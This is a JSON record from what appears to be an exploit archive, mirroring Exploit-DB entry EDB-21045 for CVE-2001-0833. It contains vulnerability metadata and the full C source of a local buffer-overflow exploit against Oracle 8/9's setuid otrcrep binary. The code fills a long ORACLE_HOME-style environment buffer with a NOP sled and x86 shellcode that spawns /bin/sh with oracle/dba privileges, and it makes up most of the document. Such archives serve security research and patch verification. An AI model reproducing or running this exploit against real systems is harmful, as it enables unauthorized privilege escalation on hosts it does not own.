{"exploit":{"id":"EDB-21045","name":"Oracle OTRCREP Oracle 8/9 - Home Environment Variable Buffer Overflow","description":"Oracle OTRCREP Oracle 8/9 - Home Environment Variable Buffer Overflow","cves":["CVE-2001-0833"],"author":"Juan Manuel Pascual EscribÃ¡","published":"2001-08-02","platform":"unix","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/21045","path":"exploits/unix/local/21045.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-21045.c","vulnerabilities":[{"id":"CVE-2001-0833","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in otrcrep in Oracle 8.0.x through 9.0.1 allows local users to execute arbitrary code via a long ORACLE_HOME environment variable, aka the \"Oracle Trace Collection Security Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-0833","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-0833"},"updatedAt":"2024-08-08T04:37:06.298Z","retrievedAt":"2026-11-26T21:08:57.695Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-21045.png?v=2","url":"https://exploitbin.com/exploits/EDB-21045","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-21045/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-21045/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2001/https://www.securityfocus.com/bid/3139/info\n\nOracle is an Enterprise level SQL database, supporting numerous features and options. It is distributed and maintained by Oracle Corporation.\n\nA buffer overflow has been discovered in the handling of $ORACLE_HOME by otrcrep. otrcrep is installed with the Oracle suite as a SUID oracle SGID dba binary. This buffer overflow may be exploited by a local user to overwrite stack variables, including the return address, and execute arbitrary code with the privileges of user oracle and group dba.\n\n/*\n * This vulnerability was researched by:\n * Juan Manuel Pascual Escriba <pask@plazasite.com>\n * cc -o evolut otrcrep.c; ./evolut 300 0\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#define BUFFER\t\t               300\n#define OFFSET\t\t\t       0\n#define NOP                            0x90\n#define BINARY\t\"/home/oracle/app/oracle/product/8.0.5/bin/otrcrep a $EGG\"\n#define ORACLE_HOME \"/home/oracle/app/oracle/product/8.0.5\"\n\n\nchar shellcode[] =\n  \"\\xeb\\x1d\"\n  \"\\x5e\"\n  \"\\x29\\xc0\"\n  \"\\x88\\x46\\x07\"\n  \"\\x89\\x46\\x0c\"\n  \"\\x89\\x76\\x08\"\n  \"\\xb0\\x0b\"\n  \"\\x87\\xf3\"\n  \"\\x8d\\x4b\\x08\"\n  \"\\x8d\\x53\\x0c\"\n  \"\\xcd\\x80\"\n  \"\\x29\\xc0\"\n  \"\\x40\"\n  \"\\xcd\\x80\"\n  \"\\xe8\\xde\\xff\\xff\\xff/bin/sh\";\n\nunsigned long get_sp(void) {\n   __asm__(\"movl %esp,%eax\");\n}\n\n /* void main(int argc, char *argv[]) { */\nvoid main() {\n  char *buff, *ptr,binary[120];\n  long *addr_ptr, addr;\n  int bsize=BUFFER;\n  int i,offset=OFFSET;\n\n  if (!(buff = malloc(bsize))) {\n    printf(\"Can't allocate memory.\\n\");\n    exit(0);\n  }\n\n  addr = get_sp() -1420 -offset;\n  ptr = buff;\n  addr_ptr = (long *) ptr;\n  for (i = 0; i < bsize; i+=4)\n    *(addr_ptr++) = addr;\n\n  memset(buff,bsize/2,NOP);\n\nptr = buff + ((bsize/2) - (strlen(shellcode)/2));\n  for (i = 0; i < strlen(shellcode); i++)\n    *(ptr++) = shellcode[i];\n\n  buff[bsize - 1] = '\\0';\nsetenv(\"ORACLE_HOME\",ORACLE_HOME,1);\nsetenv(\"EGG\",buff,1);\nsystem(BINARY);\n}","sha256":"2825a592cfb67122eaa4b06a4c89a8ed3d4fe72354faf23e094134518f1fb7d1","bytes":1949,"fetchedAt":"2026-11-26T21:08:53.394Z","encoding":"utf-8 (display only; download retains original bytes)"}